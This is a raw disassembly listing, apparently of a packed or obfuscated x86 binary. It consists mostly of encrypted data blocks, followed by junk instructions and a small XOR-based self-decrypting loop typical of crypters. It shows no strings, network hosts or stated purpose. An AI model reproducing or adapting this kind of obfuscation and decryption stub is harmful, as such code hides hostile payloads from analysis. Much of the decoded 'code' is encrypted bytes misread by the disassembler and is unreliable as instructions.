		dd 0ADA155EBh, 37B8F194h, 8DA355EBh, 3DCE64C8h,	66883CFCh
		dd 55F5B515h, 3EF676ADh, 0AE44BD1Dh, 9F694359h,	4C55B79Eh
		dd 0E12D35FCh, 66113214h, 0F303C7E9h, 61AD29A8h, 3F9FB1ECh
		dd 6716DB1Ah, 91D1B61Ah, 8E24CDEAh, 66223204h, 49BE9CC5h
		dd 1D396D3Ch, 817B3121h, 0A4866B05h, 66923D46h,	38883215h
		dd 699C0974h, 66227697h, 661FDB15h, 61EB3215h, 6A27F238h
		dd 0B0B39E0Eh, 0B6AADCAAh, 0E087E12Ch, 99BBDC1Fh, 662FDA75h
		dd 89D33215h, 0AA91F17Dh, 492B0417h, 0E7C6C57Ch, 0D88E44D6h
		dd 0E7E86A4Dh, 0B88405D3h, 0ECFCB363h, 7693391h, 67336174h
		dd 4F443215h, 9EDE69CBh, 6615DE94h, 52013215h, 9EBC6B31h
		dd 79918946h, 8D906019h, 8C2312Ah, 9146D1D4h, 0E7E9B3CEh
		dd 0E7798C71h, 43ADDCF6h, 0EB87B353h, 4FD1673Eh, 9F3869CCh
		dd 36A5F394h, 77AD016Fh
		dd 0D5223215h, 644D1FBEh, 0D76F6433h, 3967E06h,	0AA5F50A6h
		dd 84A55275h, 6688B71Ah, 8F253215h, 6622321Fh, 60C85295h
		dd 0FB74AAB2h, 0E525A237h, 4AAB36F9h, 66148F31h, 8FA13215h
		dd 0D416C748h, 0B1AA61FCh, 3C4ACA9Dh, 6681BC1Ah, 243215h
		dd 3C6AE394h, 0CC706A46h, 66883CFCh, 0A415E915h, 0B094D8EBh
		dd 0A7BCB693h, 6905C182h, 6644359Ah, 67AC3D15h,	9F113215h
		dd 748B5A45h, 6ACD3215h, 9F7B6A31h, 6603BD1Ah, 8FE83215h
		dd 66443210h, 77A9E017h, 669C3D9Ch, 7883215h, 87ADCEBEh
		dd 6DDCDC5h, 66113BFCh,	505E9415h, 0CE51EC0Eh, 3743B055h
		dd 661132ACh, 0C649B315h, 67519039h, 0C6CBB3E4h, 0EC049039h
		dd 63616B14h, 0DD443215h, 8097FC37h, 0E21EDA29h, 66883271h
		dd 6655DA75h, 0DC7F3215h, 40DEC6B0h, 0F7F6BB0Ch, 0C2022D25h
		dd 3EDB1B64h, 70DE595h,	7E818946h, 95C522BDh, 768A2A1Ch
		dd 7A9AEA9Ch, 624CB131h, 67FBDBE9h, 0E72D3215h,	66113207h
		dd 66883FFCh, 82255D15h, 6D6FA78h, 3C1FD518h, 77617B18h
		dd 99443215h, 0B8FAB399h, 9A355621h, 0F46CB2FCh, 36D292D3h
		dd 0E7C4BB43h, 661136D3h, 6266B115h, 3A600692h,	8F062E9Ch
		dd 66113212h, 7DE79098h, 6C7F3B4h, 77CBF19Eh, 5F113215h
		dd 5DA851E1h, 121AC4F8h, 454D880Ah, 61E7D601h, 6264B374h
		dd 0EF443215h, 52A31621h, 2245B631h, 9509694Ch,	3F006691h
		dd 6633B21Ah, 8F713215h, 6688321Fh, 1633AEC2h, 98727739h
		dd 0E7703A7Dh, 668836F9h, 4248BB15h, 662233ACh,	65E03315h
		dd 0D3E86B0Ch, 0E498C40h, 304310EAh, 6611377Dh,	95896C15h
		dd 6654DB4Bh, 582B3215h, 4925C5ACh, 0BA8DFAB1h,	0E16D15B1h
		dd 60CBF024h, 13113215h, 0EE375263h, 8EF7612Ah,	0EEFCBA47h
		dd 9A4A68E5h, 670A3DBFh, 93443215h, 5324F194h, 0A5900AD7h
		dd 2E276594h, 8DC5C93Ch, 2E8D6594h, 5317D994h, 0E1870AD7h
		dd 6644321Fh, 0D2FAB375h, 317E1702h, 34DD534Fh,	664436AFh
		dd 3CF7BB15h, 64CD93Ch,	0D06D8C73h, 664423FCh, 0D14C3315h
		dd 0EF6317FFh, 0DB568194h, 0DD78DA1Ch, 5743F8ABh, 57D203CDh
		dd 668FDBCDh, 9E703215h, 0FDA95E33h, 0E31E9916h, 66883218h
		dd 66443AFCh, 0EE7EE115h, 0FA6B2947h, 4294B99Dh, 63A4BB45h
		dd 66223211h, 66113610h, 428CB515h, 0A9C55249h,	50ADD79Dh
		dd 3570EA9Eh, 668837AEh, 0ED9A3315h, 0A2A31609h, 66113211h
		dd 6689B71Ah, 37B13215h, 600EAF7Dh, 0E7506B78h,	2ECB75F4h
		dd 9DF96713h, 67D9CDEAh, 0AE986FFCh, 6D8524Ch, 0B0CF6974h
		dd 6ACBF174h, 8E113215h, 67E54D8Fh, 45A6788h, 0E04E6AFh
		dd 661130E3h, 69AC3E9Ch, 66443A98h, 64AC3D15h, 6113215h
		dd 66326074h, 0E7443215h, 777B78FFh, 0E7E33313h, 77D178D7h
		dd 64CF5413h, 73A83D4Fh, 6113215h, 668839FDh, 67C27F15h
		dd 4727C5D5h, 0D98AA52Ch, 7FF864Fh, 0E24BF129h,	66223378h
		dd 6610B21Ah, 9F703215h, 0E24BF929h, 66223348h,	66113EFCh
		dd 0CC958515h, 0D40EF669h, 5E0A6DAh, 69D30E83h,	66894A91h
		dd 0E6245215h, 0E62D81E7h, 66113215h, 0ACB45374h, 6727B61Ah
		dd 8F423215h, 6611321Bh, 3D0BC389h, 6BEAECE7h, 9B157C40h
		dd 60F80454h, 0B883215h, 0DE482036h, 5B4453E2h,	0E21E17EAh
		dd 66883379h, 358DB375h, 0D3783C8Fh, 6CF85331h,	80883215h
		dd 0D7BC3709h, 0AE24D2ABh, 482C54D2h, 1C0D3DEAh, 6443215h
		dd 6BCB61E0h, 98113215h, 113A3025h, 19CEF823h, 75E60188h
		dd 771534Ah, 76E06446h,	380D481Ch, 90D0F494h, 95988490h
		dd 0EC7B334Bh, 0E14B6916h, 6622321Ah, 661138FCh, 0E8267315h
		dd 721D1284h, 35BB3FBFh, 0D641CEA6h, 6260F25Dh,	0C668FAEBh
		dd 0A5225D39h, 3DC9124Dh, 6684B61Ah, 0EA4B3215h, 66223213h
		dd 6611B81Ah, 0D6E83215h, 78B87DDh, 0E22D9229h,	66113305h
		dd 42BCCDECh, 6280B34Ch, 6223215h, 63378A73h, 668826FCh
		dd 972FDC15h, 6B7A8D25h, 9233ABDAh, 0C0770487h,	0F0AA522Ah
		dd 0D8745353h, 27E449FDh, 4BD6C29Ch, 27B149FDh,	662234FCh
		dd 66D83915h, 8FC9CAA0h, 664433BDh, 662DDB75h, 40BD3215h
		dd 6B825B3Dh, 68947E6Ch, 548881B8h, 6614DB34h, 0C1963215h
		dd 70A7BF5h, 8FEB03EDh,	66113218h, 6CEBA4D0h, 0C1E06EDAh
		dd 67F837C3h, 5751A3D9h, 574003D4h, 6643DBD4h, 0D2ED3215h
		dd 5B3AAB23h, 6614DBF7h, 0E14B3215h, 66223214h,	27CF8BEDh
		dd 970933A5h, 480F793Ah, 0A69D394h, 0DE417363h,	71A34498h
		dd 0E71CF324h, 3F5CFBFCh, 69475203h, 7D0E5A2h, 66445BFCh
		dd 67AC3D15h, 9F113215h, 62F05A45h, 631C0646h, 489468DAh
		dd 6315DAD4h, 9F475807h, 62CFF39Ch, 62E6B331h, 8F113215h
		dd 6688321Fh, 5126C7h, 269683DBh, 49F8078Bh, 6883215h
		dd 0AFB343h, 3E0884EEh,	7C0B973h, 0D0C8946h, 0A5C70B34h
		dd 91F1C5EAh, 0E5E2B3CEh, 0EFB1137Eh, 0E84B69CCh, 66223213h
		dd 0D4705275h, 0C27B534Fh, 66443DFCh, 0E1B4F315h, 0E2E7D141h
		dd 0F03F0888h, 19AC8078h, 0DBAFB9E9h, 616DB0Eh,	64E851Ah
		dd 66443CFCh, 0A3AF5515h, 0C8EE5C0Ch, 606F6749h, 6973D200h
		dd 743E5AAh, 0E31EFB90h, 6688320Bh, 664EB61Ah, 63CB3215h
		dd 0BF113215h, 9A109513h, 6645BA1Ah, 0EFD73215h, 8F0A8FA0h
		dd 5277C712h, 0A2C56B31h, 66223211h, 6609B71Ah,	0E83215h
		dd 8F1FDBAAh, 66223218h, 53F74EB9h, 7F1493A9h, 0D68EA6E2h
		dd 0EA2D5335h, 66113214h, 93163EDh, 0E7470D31h,	0C811A5F4h
		dd 0BD0B306h, 918B606Eh, 65A5F3C4h, 0A7A3E3E2h,	0ADEA164Fh
		dd 8FD16A44h, 6644321Dh, 5F5E27DFh, 3F0B4131h, 0DCDACBD6h
		dd 66443215h, 0ED44C014h, 4205B917h, 668CF694h,	5ABC3215h
		dd 8EA63DD6h, 9F113214h, 0EE4DBA44h, 4248B9FEh,	6626F694h
		dd 93713215h, 34E913A2h, 9564C2A3h, 0E506269Eh,	0E41E36D1h
		dd 66883212h, 6645BB1Ah, 0E6DE3215h, 0E21E42EEh, 66883648h
		dd 6657DB75h, 319B3215h, 14DCE167h, 333751F4h, 2916662Dh
		dd 5890C193h, 39A8D39h,	5AE90827h, 0EAC03DFCh, 69223214h
		dd 66113396h, 8DB4C715h, 6739B61Ah, 0E82D3215h,	6611321Dh
		dd 668ABC1Ah, 7243215h,	0E22DF029h, 66113372h, 66883FFCh
		dd 0B6941C15h, 0CF572017h, 2C76C243h, 0ADB484E6h, 6709B61Ah
		dd 8FD73215h, 66113201h, 0BE5E3201h, 56DA6708h,	383AA9F7h
		dd 9302DAB3h, 0B10728E4h, 43BB0F73h, 670BB61Ah,	713215h
		dd 5AE9F99Eh, 7AC03DDFh, 8F223214h, 66113204h, 0A14DE918h
		dd 9B4DEAF7h, 376D61E6h, 0DF9787FBh, 696B0E7Ah,	66479A91h
		dd 0DF445215h, 70E23Ch,	69771C28h, 66448590h, 77CB5215h
		dd 72113215h, 0CEA7BA5Ah, 0E117D96Fh, 7680869Eh, 97E7845Fh
		dd 6E9FD9Eh, 664426FCh,	0C2A3D215h, 4DA31C3Fh, 0C463B989h
		dd 919A1F38h, 5069B56h,	6603DA05h, 6F663215h, 7684B62Eh
		dd 0A22A35CDh, 761E86C3h, 0C0409DE4h, 71DEB9Eh,	66208B44h
		dd 97103215h, 66888847h, 0AC453215h, 3F78309Fh,	66113EFCh
		dd 0D04BB15h, 0D85A4B5Ah, 6CAB5F22h, 62FDB338h,	0EF883215h
		dd 5FF51619h, 0AFA2E3E3h, 63F0F2F7h, 0B77EF3EBh, 460ADB95h
		dd 8F426BDDh, 66113210h, 0F8A39625h, 0E7BD529Bh, 0ED150ED2h
		dd 5A705352h, 260C3DB5h, 9A443215h, 0DAE1B375h,	7445302h
		dd 2FD8D42h, 0B1B367DAh
		dd 2CCDD594h, 0A1903B0Ch, 9167C763h, 4270B342h,	60B85A57h
		dd 0E53074Dh, 69D7348Fh, 66443394h, 0E02DCA15h,	66113214h
		dd 66DBDBEDh, 0EFB83215h, 8F398FA0h, 63F8CE12h,	55883215h
		dd 44CA532Ch, 0B2C0AF98h, 0EE1E35FAh, 6688321Eh, 0C8A3B375h
		dd 7F5DC9h, 9970F09Eh, 0AE30CAC6h, 4B228312h, 17335D0Bh
		dd 1734E2E2h, 0A7A90E46h, 0DB1135F5h, 76039A6Ah, 64CDA3Ch
		dd 0DF5BB973h, 136924DAh, 35DAF174h, 0A590D19Ch, 66883211h
		dd 0E140D996h, 0EF7E1609h, 69E41611h, 6688239Eh, 6DCE3D15h
		dd 8F223215h, 66113213h, 0DD6F8252h, 10BBF46Eh,	420EB305h
		dd 53203640h, 0E7AC369Eh, 664436D1h, 62773715h,	0EFE40724h
		dd 8FA1C390h, 6641DB12h, 0B98C3215h, 8F697A6Fh,	6688321Fh
		dd 0DA6663AEh, 0DE7B1E71h, 52EEB62Fh, 0A2096A31h, 66443211h
		dd 6636DA75h, 0A7CF3215h, 0C5FB69B7h, 815BE5FBh, 5799A725h
		dd 8B610CBBh, 0E3877198h, 66443215h, 97A9544Ah,	7AA96274h
		dd 67883215h, 4240B9D3h, 6626F694h, 0E91E3215h,	66883205h
		dd 664439FCh, 33299F15h, 2BFFCB69h, 282B213Bh, 52018F98h
		dd 0EA2D35FCh, 6611321Bh, 66083D75h, 69443215h,	66223291h
		dd 6BC5315h, 66883EFCh,	249A8C15h, 7055A012h, 3FC960CAh
		dd 9F035489h, 5DC41F74h, 0FC0F1B31h, 65514B39h,	63AC1651h
		dd 263D1E8Fh, 4219B210h, 67923D3Ch, 93883215h, 6652B21Ah
		dd 0E02D3215h, 66113205h, 668839FCh, 0F3CAD815h, 47611DFCh
		dd 7878C69Ah, 67003DBEh, 9F443215h, 0DF9FBFECh,	9A16DB18h
		dd 70093DB8h, 8F443215h, 66223204h, 4D98953h, 7629DA21h
		dd 10930DA6h, 9DDF7307h, 54B21FB3h, 0ED8D7F5Dh,	650E9473h
		dd 4B061651h, 2CB7549Eh, 2EBA9110h, 68FE5258h, 72D50E5h
		dd 662C557Dh, 428CBB15h, 664FBA1Ah, 60CB3215h, 3C113215h
		dd 163A7773h, 0E14B9904h, 66223214h, 7BACBFEDh,	698FDB17h
		dd 66442792h, 69AE3D15h, 8F113215h, 6688321Fh, 57F9CB1h
		dd 8A7C2C8Ch, 6BCA3F8h,	668839FDh, 6575C415h, 0E76FA13Fh
		dd 1ABA669Ah, 4B96DC94h, 0D51C3362h, 252753AFh,	65190846h
		dd 30A01651h, 5C1771ABh, 38D21B1Dh, 661121FCh, 0C17FF15h
		dd 749C279Bh, 0FF1E5476h, 2A362314h, 1C878CB3h,	6650DBBEh
		dd 144E3215h, 965E5E3Fh, 90B1BC93h, 1967FA17h, 60817969h
		dd 0E6714ECCh, 0E876DEh, 0E7CBD294h, 74BF995h, 4225CD74h
		dd 624CB34Bh, 93443215h, 0EA2D52D6h, 66113217h,	6161B8A4h
		dd 3D443215h, 0E71AAAA6h, 697038D9h, 66883E93h,	60C43D15h
		dd 69223215h, 66113290h, 64DA5A15h, 52CD3215h, 0FBAFCA31h
		dd 61FEE60Fh, 0B9035475h, 6642B81Ah, 0EE2D3215h, 66113215h
		dd 695BCD74h, 66443B91h, 0E7445215h, 6C7E5F5h, 8F615374h
		dd 0F9FFCDE9h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B0C0D5F2h
		dd 96A5B51Ch, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 84F0CE25h
		dd 0DCF1427Ah, 0E5B8E532h, 0D871BA8Dh, 42C3A8EDh, 0AEA2458Ah
		dd 60D558DDh, 0BB38C882h, 462DA439h, 0C313DF07h, 0C6D55358h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 5652D47Ch
		dd 0A4B0D9FBh, 0AEA5B518h, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 0E5B85632h, 0CB2F168Dh, 12DAC619h, 142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E9000030h
		dd 0Fh,	2F0D5D1Ah, 2 dup(0)
		dd 0E9000000h, 549h, 0A54828C3h, 1895E70Bh, 4DE09ABCh
		dd 0BC31B3E3h, 0F67FFD10h, 3CD1C166h, 0A1BB538h, 0A649EB8Ah
		dd 5FFD5FD6h, 0B3EF901Dh, 6C2DBEFEh, 46245628h,	44D6A04Ah
		dd 0C4B7F7AAh, 4B59305Ch, 0F207B3EFh, 979E828Dh, 740AF908h
		dd 0C3BD5FF9h, 0BBC55763h, 0B1CB6F6Bh, 2DCC606Dh, 8E2751FBh
		dd 0C2730D22h, 2DBFC156h, 71AD9C90h, 54E179F3h,	4BCE2AB9h
		dd 0CF63CFDDh, 32129283h, 0D612BBDDh, 21AD3F41h, 3F826E0Eh
		dd 21FD7F9Dh, 5C206540h, 29D02430h, 318518E8h, 0A55684h
		dd 4A6C0000h, 35B0E0A0h, 0F771E4A4h, 0B94FDD58h, 0E000962Fh
		dd 0C175B315h, 4A4C3569h, 2F305C01h, 4D0517BFh,	760CD054h
		dd 0AB811CE0h, 0BCAAAEADh, 0F21EDA68h, 66368E4Bh, 1B08431h
		dd 12000000h, 8D4A64Ah,	72D2A84Ch, 0D9C84E46h, 305CC4D9h
		dd 0E9830DC2h, 8BA4F305h, 20BFBFCBh, 715675B1h,	0F51EC57Eh
		dd 0D6EE8E7Eh, 20A894BBh, 2D530AA8h, 52BA2074h,	0C19154D7h
		dd 32BE8BC8h, 685675B1h, 35405030h, 63365A41h, 6B8911BEh
		dd 5E9833Ah, 0F1B0A4F3h, 7AF29D11h, 0FB2375FDh,	8A317417h
		dd 3FD525FAh, 96ADFDF5h, 22908576h, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 0F79E987Ch, 0FFA0720Dh, 0E983FE8Eh
		dd 8BA4F305h, 48BD8DDBh, 8D07F118h, 0F1A36A8Dh,	6644B807h
		dd 0CF2B3215h, 3102E9C1h, 83C8D007h, 754904C7h,	810FF5F6h
		dd 12h,	0DE9h, 0DFFEB100h, 3FE8728Ah, 583492B2h, 0F609268h
		dd 1783h, 11E800h, 0A4820000h, 981707BDh, 169DC88Ch, 5A27BF65h
		dd 5979947Ch, 0D427C0BEh, 57506142h, 0B665A3BFh, 247C2970h
		dd 5585F04h, 70B665A3h,	14E9h, 0ACDC0D00h, 34C35560h, 2FE4FB4Bh
		dd 1D438B54h, 0B3AA3A1Eh, 0A5BD8339h, 7E918h, 0BD830975h
		dd 7E91A45h, 50197400h,	0B8C08B53h, 411h, 20F58589h, 9D8D07E9h
		dd 7EBD835h, 585BD3FFh,	1A45BD83h, 740007E9h, 0B8535017h
		dd 411h, 20F58589h, 9D8D07E9h, 7EBD4D6h, 585BD3FFh, 0D9BF0F60h
		dd 7E8h, 0A19B5100h, 0F95CF241h, 61596160h, 13E960h, 32CA0000h
		dd 0A38BF401h, 65117C6h, 0C805ACEFh, 7FB9769Ch,	0DE932h
		dd 96480000h, 495B5068h, 631A1D67h, 61F697EEh, 666968h
		dd 24048900h, 8A242C81h, 585C9E6Fh, 9E6F8A05h, 0D860F5Ch
		dd 0E9000000h, 8, 576EE177h, 8328F0D1h,	7E8F8h,	53C0000h
		dd 1873E2D8h, 0CA8166C6h, 0F5E785Dh, 0C681F8B7h, 6419h
		dd 98EEDF81h, 0DCBB302Ch, 8B000018h, 8136FFCAh,	9FA89AF7h
		dd 8B66584Dh, 60C081D3h, 813F636Ah, 1B93CAF0h, 0DA816674h
		dd 0F081CADCh, 65EDE3B4h, 14E96052h, 26000000h,	0D883D89h
		dd 15C9267Fh, 0DC6535F9h, 14D11384h, 0BBE88862h, 6E5BF13h
		dd 53505961h, 0B60B966h, 0FC068F59h, 3ECEE81h, 8B664147h
		dd 0E8C681C8h, 0E9414703h, 5, 77219BD1h, 850F4B5Fh, 0FFFFFF91h
		dd 0FE8h, 94145300h, 9E70B971h,	0EFAAAE25h, 66995B00h
		dd 0C03EC781h, 8D5A5A79h, 0F1A85B8Dh, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 8B11EB70h, 0E9266DBDh, 0D8D8907h, 8B07E932h,	0E902E9B5h
		dd 25958B07h, 0C707E90Bh, 0E922E585h, 6C1007h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0B185C7BFh, 7E922h, 80000000h, 0B5FF08D2h, 7E92045h
		dd 2C8DCB81h, 95FF2DE6h, 7E92285h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 6FC35646h, 0D189226Ch, 66F224B2h
		dd 6AF88Bh, 0C3195FFh, 0C08B07E9h, 0C05A7DEBh, 0DE9CB096h
		dd 7D86B150h, 3149CD88h, 1B335ACCh, 5AE75925h, 741FCBCh
		dd 3D27F86Bh, 531B7186h, 0B6DD39B7h, 2E1F48A7h,	0E941868Dh
		dd 2512D2D3h, 3A380BEAh, 77B0B704h, 0D94750A4h,	0EF7C0383h
		dd 4F3C7CC2h, 258C6340h, 3679F764h, 6608E914h, 3F512E1Bh
		dd 0C3393525h, 0EC10F4B8h, 75F39Fh, 0F24038A1h,	3AA24645h
		dd 0B6645E26h, 0D0B2E598h, 0CC8551B4h, 3CC484Eh, 0E94C5AD7h
		dd 20h,	7074D8F1h, 7 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_60EB6B
; ---------------------------------------------------------------------------
		push	7F1A9F0h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1AA64h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		push	7F1ABC9h
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		db 6Fh
		db 0CCh
		db 0ACh, 1, 97h
		dd 0D874F983h, 0FA94436h, 0BC189517h, 0DA52E399h, 9CD87D5Dh
		dd 0EE6EA711h, 3A42D547h, 81F319BBh, 621F8BECh,	286B1C22h
		dd 4AEAD8F2h, 4D09D5A7h, 0D20CDAFh, 7BE375E2h, 0C22AA2Ah
		dd 96208672h, 0C109DCFFh, 816919EBh, 0B4C179C0h, 0F18B1937h
		dd 7FBBC155h, 0C2664223h, 0F61A2872h, 0E33A8A57h, 0D4B48C1Ah
		dd 0E000002h, 3A35B93Fh, 73661BADh, 4337B59Fh, 390CA561h
		dd 3054D38h, 7BCBB55Bh,	41EC8169h, 0EA4D44D6h, 0D2326711h
		dd 13494938h, 40312325h, 23251340h, 0E0C2D2D0h,	0E63E6408h
		dd 5970013h, 7DD7F48Ch,	54E6BC2Ah, 0C9156788h, 0ED697FBBh
		dd 14802D4Fh, 7EFD7406h, 5E26BF6Bh, 2E6D186h, 91BA0000h
		dd 4EE24EE7h, 117812Ch,	4A5AF67Fh, 668B25C8h, 28019F16h
		dd 5ED7A548h, 8C21A3F2h, 0C06D0F20h, 39B4C654h,	57574A54h
		dd 0B9286B1Ch, 0A0B3DD83h, 2008A537h, 0DCC73505h, 1EACCC63h
		dd 923AD4D2h, 9C26FE78h, 750FB554h, 0A7FD3849h,	1A1E7815h
		dd 267E2C07h, 0DD70DCCAh, 97BA169Fh, 4B6819E5h,	2F286AA9h
		dd 7DC6730Dh, 53346D9Ah, 2722C83h, 0D2E0000h, 0C256C273h
		dd 759B35B8h, 0D6CE6A0Bh, 0DA7FD954h, 9C9D13A2h, 0D263193Ch
		dd 0AD2F66h, 74F98394h,	0AD4032D8h, 0E3A3DEC8h,	2D286B1Ah
		dd 0A0B3A91Fh, 35442030h, 61F7B225h, 0CFF4DAD7h, 8E183849h
		dd 6ACF9313h, 6E237D28h, 286AD02Eh, 982EBCE6h, 0D001DD44h
		dd 5BE7286Ah, 0D19F61B2h, 9CDF8C22h, 0CF000001h, 0BA8AF207h
		dd 4AC2C028h, 700ED6A0h, 0C4EBABE6h, 7F25305Ch,	8BF507B3h
		dd 33A4B7EAh, 0AB89E899h, 6BF337B5h, 129283C7h,	0DAC8B47Ch
		dd 0AFE27C0Ah, 2873ABEFh, 0D6B78321h, 2873ABFAh, 1EBB62EEh
		dd 8C19F5A6h, 80F18Bh, 102873B4h, 5BE993A4h, 54429Fh, 0B3600000h
		dd 0F3EE30A0h, 0B2D6E067h, 81F08A1Ch, 305C4101h, 0FB4B35DBh
		dd 33FFA5E9h, 26FDFCB5h, 0D56F37B5h, 7325DCDCh,	826E3428h
		dd 0F004C0DEh, 7928BA8Ah, 28732639h, 0EB3BC9DBh, 73269E3Ah
		dd 18C44228h, 26BC80F2h, 0DA07A6CAh, 8C1A7EEAh,	9C04h
		dd 0A04A5E00h, 0AF420ED6h, 83933BCDh, 0D9F52901h, 0D1FD4133h
		dd 0CDB4393Bh, 305CBF8Fh, 0B83547D5h, 4BDD4AE5h, 0B0EBBD56h
		dd 0D5710B37h, 0D9EB3B41h, 70EAE8A8h, 0BE7A2828h, 9E46D0D2h
		dd 0DE77017Bh, 0CF3D9958h, 18E54D26h, 56E399BCh, 347473BBh
		dd 0D5205D9h, 83000001h, 0CB650868h, 7CD85527h,	0A30DA0DAh
		dd 0D07CF173h, 26B63F3Dh, 0F87C9101h, 4ACADB75h, 96E609ABh
		dd 0DD9FBD1Fh, 3E732F50h, 286B1A7Eh, 4A066496h,	0FC58D5A7h
		dd 2969185Eh, 0EB305CC5h, 32126A8Fh, 0E18C22B0h, 0D6A04AA1h
		dd 0CEA8420Eh, 40E10C27h, 6C76CEACh, 0FFB24CDEh, 305CC4BFh
		dd 1E75351h, 36B6EF77h,	6D1CD4EEh, 37B27873h, 8A0A1BC3h
		dd 56E0C2AEh, 9C116B8Eh, 7377C9E5h, 0EF89A328h,	1E5EF15Dh
		dd 6974BCC6h, 0B8522ACFh, 0D714422Dh, 0E0488A46h, 721B4Ch
		dd 78AB0000h, 0C4F3B3EEh, 0BCD5305Ch, 0E24E5438h, 21BB2CCFh
		dd 4A1C4E70h, 44D6C238h, 4AD8EA3Ah, 423CDEFAh, 0E89933B3h
		dd 286B1BA8h, 12F270A0h, 4AA6FC90h, 52B2CC6Eh, 0E4A50AB3h
		dd 822BCD7Fh, 2BCAB446h, 7CFC13BBh, 8FEA00B4h, 0E45B3752h
		dd 0DC20B6B0h, 9EF62BC2h, 424F3047h, 50D2C2F6h,	0D4759B8Ch
		dd 0F578FA10h, 7FC7B15Bh, 348h,	0F6549A00h, 0FD7A14Ah
		dd 77CFA943h, 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah
		dd 6FB7356Dh, 53B3CD63h, 55A9D367h, 0E789575Eh,	5EBBE56h
		dd 0CE810238h, 6665004Eh, 8103EEC1h, 235D5ACEh,	9FEE817Fh
		dd 8170223Dh, 323FA4C6h, 5EF701F0h, 8704EF83h
; ---------------------------------------------------------------------------
		cmp	al, 24h
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7EFC0F92h
		mov	edx, 790DA6B7h
		xor	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	5272h
		mov	[esp], edx
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		mov	eax, ds:46414A3h


loc_60EB6B:				; CODE XREF: sdfs____:0060E6BCj
		mov	eax, 7F1ACFBh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		cwde
		adc	dh, al
		sbb	dl, ch
		jmp	short loc_60EBB1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 631AB700h, 116F5CCh,	528D667Bh, 0A4B81h, 4DC2B1ADh
		dd 3D3B9CBCh, 4D3714F9h, 16472AAEh, 7D1AB536h, 624EB8A3h
		dd 31C54103h, 64693E5Ch, 7CDB5598h
; ---------------------------------------------------------------------------
		wait


loc_60EBB1:				; CODE XREF: sdfs____:0060EB79j
		call	far ptr	77DBh:341E6876h
		test	al, 7Bh
		ficom	dword ptr [eax]
		add	esi, [edx]
		sbb	esp, [edx+13h]
		jno	short near ptr loc_60EBD4+2
		sub	esp, [esi]
		mov	ah, 0AAh
		pop	esp
		test	[esi+4Bh], ebp
		push	esp
; ---------------------------------------------------------------------------
		dd 54B673DBh, 103DB75Dh
; ---------------------------------------------------------------------------


loc_60EBD4:				; CODE XREF: sdfs____:0060EBC1j
		call	sub_60EBE4
		and	dword ptr [edx+3B28D89Bh], 3F909495h
		stosb

; =============== S U B	R O U T	I N E =======================================



sub_60EBE4	proc near		; CODE XREF: sdfs____:loc_60EBD4p
		cld
		pop	edx
		mov	ax, dx
		add	edx, 7572h
		mov	ax, 0B8A5h
		mov	ecx, 343520Ch
		add	ecx, 0FCBCCB1Bh
		mov	edi, 633C5CA0h


loc_60EC03:				; CODE XREF: sub_60EC48+52j
		mov	ebx, [edx]
		call	sub_60EC11
		cwde
		xchg	eax, ecx
		or	al, [ebp-12h]
		and	esp, ecx
sub_60EBE4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60EC11	proc near		; CODE XREF: sub_60EBE4+21p
		or	esi, 2F6DD63Ah
		pop	esi
		add	ebx, 11F3F243h
		jnb	loc_60EC26
		push	esi
		pop	edi


loc_60EC26:				; CODE XREF: sub_60EC11+Dj
		xor	ebx, 27F94A68h
		mov	eax, 707E7B42h
		xor	ebx, 5E83A6D7h
		xor	al, 22h
		mov	[edx], ebx
		pusha
		pusha
		call	near ptr sub_60EC48
		mov	edx, 846B33AAh
sub_60EC11	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60EC48	proc far		; CODE XREF: sub_60EC11+2Dp
		pop	ebx
		sub	ecx, 609887FEh
		popa
		adc	si, 0E0F4h
		popa
		sub	edx, 4
		jmp	loc_60EC68
; ---------------------------------------------------------------------------
		dw 51E4h
		dd 4727A295h, 0EB5FC3C6h
; ---------------------------------------------------------------------------


loc_60EC68:				; CODE XREF: sub_60EC48+11j
		sub	ecx, 1
		jnz	loc_60EC97
		jmp	loc_60EC86
; ---------------------------------------------------------------------------
		dw 11F3h
		dd 6A1E0D21h, 577B0A07h, 7898F354h
		db 18h,	95h
; ---------------------------------------------------------------------------


loc_60EC86:				; CODE XREF: sub_60EC48+29j
		jmp	loc_60ECB3
; ---------------------------------------------------------------------------
		db 6Ch
